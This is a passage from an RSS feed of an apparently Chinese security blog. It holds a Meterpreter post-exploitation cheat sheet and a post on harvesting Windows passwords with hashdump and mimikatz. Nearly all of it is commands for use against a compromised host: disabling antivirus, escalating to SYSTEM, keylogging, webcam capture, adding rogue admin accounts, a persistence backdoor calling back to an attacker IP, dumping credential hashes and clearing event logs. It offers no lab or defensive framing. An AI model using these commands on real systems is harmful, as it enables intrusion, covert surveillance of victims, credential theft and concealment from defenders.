getuid              									#查看获取的当前权限
getsystem           									#提权,获得的当前用户是administrator才能成功
run  killav        			 							#关闭杀毒软件
screenshot          									#截图
webcam_list         									#查看目标主机的摄像头
webcam_snap         									#拍照
webcam_stream       									#开视频
execute 参数 -f 可执行文件   							    #执行可执行程序
run getgui -u test1 -p Abc123456    					#创建test1用户，密码为Abc123456
run getgui -e                							#开启远程桌面
keyscan_start                							#开启键盘记录功能
keyscan_dump                			 				#显示捕捉到的键盘记录信息
keyscan_stop                 							#停止键盘记录功能
uictl  disable  keyboard     							#禁止目标使用键盘
uictl  enable   keyboard     							#允许目标使用键盘
uictl  disable  mouse        							#禁止目标使用鼠标
uictl  enable   mouse        							#允许目标使用鼠标
load                        							#使用扩展库
run				             							#使用扩展库
 
run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888        #会自动连接192.168.100.132的8888端口，缺点是容易被杀毒软件查杀
portfwd add -l 9999 -r 192.168.100.158 -p 3389     		#将192.168.11.13的3389端口转发到本地的9999端口上，这里的192.168.100.158是获取权限的主机的ip地址
clearev                       #清除日志
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Post 后渗透模块&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;该模块主要用于在取得目标主机系统远程控制权后
进行一系列的后渗透攻击动作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;run post/windows/manage/migrate                			#自动进程迁移
run post/windows/gather/checkvm                			#查看目标主机是否运行在虚拟机上
run post/windows/manage/killav                			#关闭杀毒软件
run post/windows/manage/enable_rdp            			#开启远程桌面服务
run post/windows/manage/autoroute              			#查看路由信息
run post/windows/gather/enum_logged_on_users    		#列举当前登录的用户
run post/windows/gather/enum_applications       		#列举应用程序
run post/windows/gather/credentials/windows_autologin 	#抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump               	#dump出所有用户的hash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可输入 &lt;code&gt;sysinfo&lt;/code&gt; 查看目标主机的信息&lt;/p&gt;
&lt;h4&gt;查看主机是否运行在虚拟机上&lt;/h4&gt;
&lt;p&gt;查看主机是否运行在虚拟机上，可以看出主机是在虚拟机环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run post/windows/gather/checkvm
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;关闭杀毒软件&lt;/h4&gt;
&lt;p&gt;拿到目标主机的 shell 后第一件事就是关闭掉目标主机的杀毒软件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run  killav
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;获取目标主机的详细信息&lt;/h4&gt;
&lt;p&gt;使用命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run scraper 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它将目标机器上的常见信息收集起来然后下载保存在本地&lt;/p&gt;
&lt;h4&gt;访问文件系统&lt;/h4&gt;
&lt;p&gt;Meterpreter 支持非常多的文件系统命令 (基本跟 Linux 系统命令类似)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwd     #查看当前目录
cd      #切换目标目录；
cat     #读取文件内容；
rm      #删除文件；
edit    #使用vim编辑文件
ls      #获取当前目录下的文件；
mkdir   #新建目录；
rmdir   #删除目录； 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;上传 / 下载文件&lt;/h4&gt;
&lt;h5&gt;下载文件&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;download  file #命令可以帮助我们从目标系统中下载文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;上传文件&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;upload  file  #命令则能够向目标系统上传文件。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;权限提升&lt;/h4&gt;
&lt;p&gt;有的时候，你可能会发现自己的 &lt;code&gt;Meterpreter&lt;/code&gt; 会话受到了用户权限的限制，而这将会严重影响你在目标系统中的活动
比如说，&lt;code&gt;修改注册表&lt;/code&gt;、&lt;code&gt;安装后门&lt;/code&gt;或&lt;code&gt;导出密码&lt;/code&gt;等活动都需要&lt;code&gt;提升用户权限&lt;/code&gt;
而 &lt;code&gt;Meterpreter&lt;/code&gt; 给我们提供了一个 &lt;code&gt;getsystem&lt;/code&gt; 命令
它可以使用多种技术在目标系统中实现提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;getuid
#命令可以获取当前用户的信息，可以看到，当我们使用 getsystem进行提权后，用户身材为  NT AUTHORITY\SYSTEM ，这个也就是Windows的系统权限。
getsystem
#自动提权为系统权限
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;获取用户密码&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;../b034a3f3/&quot;&gt;使用 MSF 抓取用户密码&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;运行程序&lt;/h4&gt;
&lt;p&gt;先查看目标主机安装了哪些应用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run post/windows/gather/enum_applications  #查看目标主机安装了哪些应用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;meterpreter_shell&lt;/code&gt; 命令行执行目标系统中的应用程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#execute命令用法：
execute [参数] -f 指定的可执行文件

-f：指定可执行文件
-H：创建一个隐藏进程
-a：传递给命令的参数
-i：跟进程进行交互
-m：从内存中执行
-t：使用当前伪造的线程令牌运行进程
-s：在给定会话中执行进程
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;屏幕截图&lt;/h4&gt;
&lt;p&gt;截图目标主机屏幕，图片保存到 &lt;code&gt;/root/Desktop/&lt;/code&gt; 下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;screenshot #截图目标主机屏幕
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;创建一个新账号&lt;/h4&gt;
&lt;p&gt;先查看目标主机有哪些用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run post/windows/gather/enum_logged_on_users  #查看目标主机有用户
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在目标系统中创建一个新的用户账号的方法一&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run getgui -u 用户 -p 密码
-u: 指定用户
-p: 指定密码
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;这个命令会创建用户
并把他添加到 &lt;code&gt;Administrators&lt;/code&gt; 组中
这样该用户就拥有远程桌面的权限了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在目标系统中创建一个新的用户账号的方法二&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;enable_rdp脚本:
run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456  #添加用户
run post/windows/manage/enable_rdp                                    #开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662            #将3389端口转发到6662
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;启用远程桌面&lt;/h4&gt;
&lt;p&gt;当我们新添加的用户已经拥有远程桌面之后
我们就可以使用这个账号凭证来开启远程桌面会话了&lt;/p&gt;
&lt;p&gt;首先，我们需要确保目标 Windows 设备开启了远程桌面功能（需要开启多个服务）
我们输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run post/windows/manage/enable_rdp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令可以开启远程桌面&lt;/p&gt;
&lt;p&gt;在开启远程桌面会话之前
我们还需要使用 &lt;code&gt;idletime&lt;/code&gt; 命令检查远程用户的空闲时长&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;idletime #检查远程用户的空闲时长
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开启远程桌面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run post/windows/manage/enable_rdp
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;键盘记录&lt;/h4&gt;
&lt;p&gt;Meterpreter 还可以在目标设备上实现键盘记录功能
键盘记录主要涉及以下三种命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;keyscan_start  #开启键盘记录功能，开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看；
keyscan_dump   #显示捕捉到的键盘记录信息
keyscan_stop   #停止键盘记录功能
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;在使用键盘记录功能时
通常需要跟目标进程进行绑定
然后获取该进程下的键盘记录&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;进程迁移&lt;/h4&gt;
&lt;p&gt;Meterpreter 既可以单独运行
也可以与其他进程进行绑定
因此，我们可以让 &lt;code&gt;Meterpreter&lt;/code&gt; 与类似 &lt;code&gt;explorer.exe&lt;/code&gt; 这样的进程进行绑定
并以此来实现持久化&lt;/p&gt;
&lt;p&gt;在下面的例子中
我们会将 &lt;code&gt;Meterpreter&lt;/code&gt; 跟 &lt;code&gt;winlogon.exe&lt;/code&gt; 绑定
并在登录进程中捕获键盘记录，以获得用户的密码&lt;/p&gt;
&lt;p&gt;首先，我们需要使用 &lt;code&gt;ps&lt;/code&gt; 命令查看目标设备中运行的进程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ps
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;getpid&lt;/code&gt; 查看我们当前的进程 id&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;getpid
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;migrate + 目标进程ID&lt;/code&gt; 命令来绑定目标进程 id
通过进程迁移后
当前的 &lt;code&gt;Meterpreter&lt;/code&gt; 的 &lt;code&gt;pid&lt;/code&gt; 已经和 &lt;code&gt;winlogon.exe&lt;/code&gt; 一样了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;migrate 123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里绑定目标 &lt;code&gt;pid&lt;/code&gt; 的时候，经常会断了 &lt;code&gt;shell&lt;/code&gt;
进程迁移后会自动关闭原来 &lt;code&gt;Meterpreter&lt;/code&gt; 进程
没有关闭可使用 &lt;code&gt;kill pid&lt;/code&gt; 命令关闭进程。&lt;/p&gt;
&lt;p&gt;或者使用自动迁移进程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run post/windows/manage/migrate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;系统会自动寻找合适的进程然后迁移&lt;/p&gt;
&lt;h4&gt;禁止目标主机使用键盘鼠标&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;uictl  disable(enable) keyboard  #禁止(允许)目标使用键盘
uictl  disable(enable) mouse     #禁止(允许)目标使用鼠标
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;用目标主机摄像头拍照&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;webcam_list    #获取目标系统的摄像头列表
webcam_snap    #从指定的摄像头，拍摄照片
webcam_stream  #从指定的摄像头，开启视频
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;常用扩展库介绍&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Meterpreter&lt;/code&gt; 中不仅有基本命令还有很多扩展库
下面就介绍一下常用的扩展库的查看方法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5&gt;load/use 命令&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;load/use     #加载模块
load -l      #列出所有可用的扩展
load -help   #帮助；说明
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令 &lt;code&gt;load -l&lt;/code&gt; 会列出所有可用的扩展&lt;/p&gt;
&lt;p&gt;输入 &lt;code&gt;load&lt;/code&gt; 后 &lt;code&gt;双击Tab键&lt;/code&gt; 也可以列出可用扩展&lt;/p&gt;
&lt;h5&gt;run 命令&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;run   #执行一个已有的模块
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;run+双击Tab键&lt;/code&gt; 会列出所有的已有的脚本；
常用的有 &lt;code&gt;autoroute&lt;/code&gt; , &lt;code&gt;hashdump&lt;/code&gt; , &lt;code&gt;arp_scanner&lt;/code&gt; , &lt;code&gt;multi_meter_inject&lt;/code&gt; 等&lt;/p&gt;
&lt;h4&gt;生成持续性后门&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;因为 &lt;code&gt;Meterpreter&lt;/code&gt; 是基于 &lt;code&gt;内存DLL&lt;/code&gt; 建立的连接
所以，只要目标主机关机，我们的连接就会断
总不可能我们每次想连接的时候，每次都去攻击
然后再利用 &lt;code&gt;Meterpreter&lt;/code&gt; 建立连接
所以，我们得在目标主机系统内留下一个&lt;code&gt;持续性的后门&lt;/code&gt;
只要目标主机&lt;code&gt;开机&lt;/code&gt;了，我们就可以连接到该主机&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;建立持续性后门有两种方法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过启动项启动 &lt;code&gt;persistence&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;通过服务启动 &lt;code&gt;metsvc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;启动项启动&lt;/h5&gt;
&lt;p&gt;先使用 &lt;code&gt;Msfvenonm&lt;/code&gt; 生成一个后门木马
然后放到 &lt;code&gt;windows的启动目录&lt;/code&gt; 中&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C:\Users$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了
然后我们只要相连就监听相应的端口就行了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5&gt;服务启动&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 #自动连接192.168.100.158的8888端口，缺点是容易被杀毒软件查杀
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后它就在目标机新建了这个文件
C:\Windows\TEMP****.vbs
并把该服务加入了注册表中
只要开机就会启动&lt;/p&gt;
&lt;h4&gt;PortFwd 端口转发&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;portfwd&lt;/code&gt; 是 &lt;code&gt;Meterpreter&lt;/code&gt; 提供的一种基本的&lt;code&gt;端口转发&lt;/code&gt;
&lt;code&gt;porfwd&lt;/code&gt; 可以 &lt;code&gt;反弹单个端口&lt;/code&gt; 到 &lt;code&gt;本地&lt;/code&gt;, 并且 &lt;code&gt;监听&lt;/code&gt;
使用方法如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;portfwd add -l 9999 -r 192.168.100.158 -p 3389   
#将192.168.100.158的3389端口转发到本地的9999端口上，这里的192.168.100.158是获取权限的主机的ip地址
-l:   #本地监听的端口，用于接收目标主机的端口反弹
-p:   #目标服务器的端口；
add:  #添加一个连接
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们只要访问&lt;code&gt;本地&lt;/code&gt;的 &lt;code&gt;3389&lt;/code&gt; 端口就可以连接到&lt;code&gt;目标主机&lt;/code&gt;的 &lt;code&gt;3389 &lt;/code&gt;端口了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rdesktop 127.0.0.1:9999
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果不想继续连接的话
可以删除当前建立的连接
执行以下命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;portfwd delet -l 9999 -r 192.168.100.158 -p 3389   
delet   #删除一个连接
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;清除事件日志&lt;/h4&gt;
&lt;p&gt;完成攻击操作之后
千万别忘了 &quot;打扫战场&quot;
我们的所有操作都会被记录在目标系统的日志文件之中
因此我们需要在完成攻击之后使用以下命令来清除事件日志&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;clearev  #清除事件日志
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;导入并执行 PowerShell 脚本&lt;/h3&gt;
&lt;p&gt;如果 &lt;code&gt;powershell&lt;/code&gt; 脚本是用于域内信息收集的
则获取到的权限用户需要是域用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;load powershell                           			#加载powershell功能
powershell_import /root/PowerView.ps1      			#导入powershell脚本，提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain           			#执行该脚本下的功能模块Get-domain，该模块用于获取域信息，一个脚本下通常有多个功能模块;获取当前用户所在域的名称;
powershell_execute Invoke-UserHunter      			#该功能模块用于定位域管理员登录的主机;
powershell_execute Get-NetForest           			#该模块用于定位域信息
powershell_execute Invoke-EnumerateLocalAdmin 	    #枚举域中所有计算机上本地管理员组的成员
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;加载 stdapi&lt;/h3&gt;
&lt;p&gt;有时候虽然我们获取到了 &lt;code&gt;Meterpreter&lt;/code&gt;
但是执行一些命令会显示没有该命令
这时我们可以执行 &lt;code&gt;load stdapi&lt;/code&gt; 来加载
这样我们就可以执行命令了&lt;/p&gt;
&lt;h3&gt;升级 Session&lt;/h3&gt;
&lt;p&gt;有时候，当我们收到的不是 &lt;code&gt;Meterpreter&lt;/code&gt; 类型的 &lt;code&gt;session&lt;/code&gt; 的话
可能不好操作，我们可以执行命令 &lt;code&gt;sessions -u id&lt;/code&gt; 来升级 &lt;code&gt;session&lt;/code&gt;
执行该命令，默认调用的是 &lt;code&gt;post/multi/manage/shell_to_meterpreter&lt;/code&gt; 模块&lt;/p&gt;
</content:encoded></item><item><title>使用MSF抓取用户密码</title><link>https://blog.hiyun.top/posts/%E4%BD%BF%E7%94%A8msf%E6%8A%93%E5%8F%96%E7%94%A8%E6%88%B7%E5%AF%86%E7%A0%81/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E4%BD%BF%E7%94%A8msf%E6%8A%93%E5%8F%96%E7%94%A8%E6%88%B7%E5%AF%86%E7%A0%81/</guid><description>使用MSF抓取用户密码</description><pubDate>Wed, 23 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;抓取自动登录的密码&lt;/h2&gt;
&lt;p&gt;很多用户习惯将计算机设置自动登录&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;可以使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run windows/gather/credentials/windows_autologin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;抓取自动登录的用户名和密码&lt;/p&gt;
&lt;h2&gt;导出密码哈希&lt;/h2&gt;
&lt;h3&gt;run hashdump 命令&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;hashdump&lt;/code&gt; 模块可以从 &lt;code&gt;SAM数据库&lt;/code&gt; 中导出本地用户账号，该命令的使用需要系统权限&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;code&gt;meterpreter_shell&lt;/code&gt; 中执行 &lt;code&gt;run hashdump&lt;/code&gt; 命令&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;run hashdump
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;用户哈希数据的输出格式为&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;用户名:SID:LM哈希:NTLM哈希:::
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;使用在线网站解密hash密码
&lt;a href=&quot;https://www.cmd5.com/default.aspx&quot;&gt;CMD5&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;run windows/gather/smart_hashdump&lt;/code&gt; 命令&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;使用需要系统权限。该功能更强大
如果当前用户是域管理员用户
则可以导出域内所有用户的 hash&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;使用 mimikatx 抓取密码&lt;/h2&gt;
&lt;h3&gt;上传 mimikatz 程序&lt;/h3&gt;
&lt;p&gt;我们可以通过上传 &lt;code&gt;mimikatz&lt;/code&gt; 程序
然后执行 &lt;code&gt;mimikatz&lt;/code&gt; 程序来&lt;code&gt;获取明文密码&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;前提
执行 &lt;code&gt;mimikatz&lt;/code&gt; 必须 &lt;code&gt;System&lt;/code&gt; 权限
并且在执行时，要根据当前的系统位数进行选择&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用方法&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;在 &lt;code&gt;meterpreter_shell&lt;/code&gt; 的命令行里面查看当前会话的权限&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;getuid
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;查看系统位数&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sysinfo
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;选择相应位数的 &lt;code&gt;mimikatz&lt;/code&gt; 上传至目标服务器&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;upload file  #upload命令后面需要跟上要上传文件的路径；这个命令是从当前机器上传到目标机器；
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;进入 &lt;code&gt;mimikatz&lt;/code&gt; 的交互界面&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;execute -i -f mimikatz.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;在 &lt;code&gt;mimikatz&lt;/code&gt; 交互界面，使用以下两条命令抓取密码&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;privilege::debug
sekurlsa::logonpasswords
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>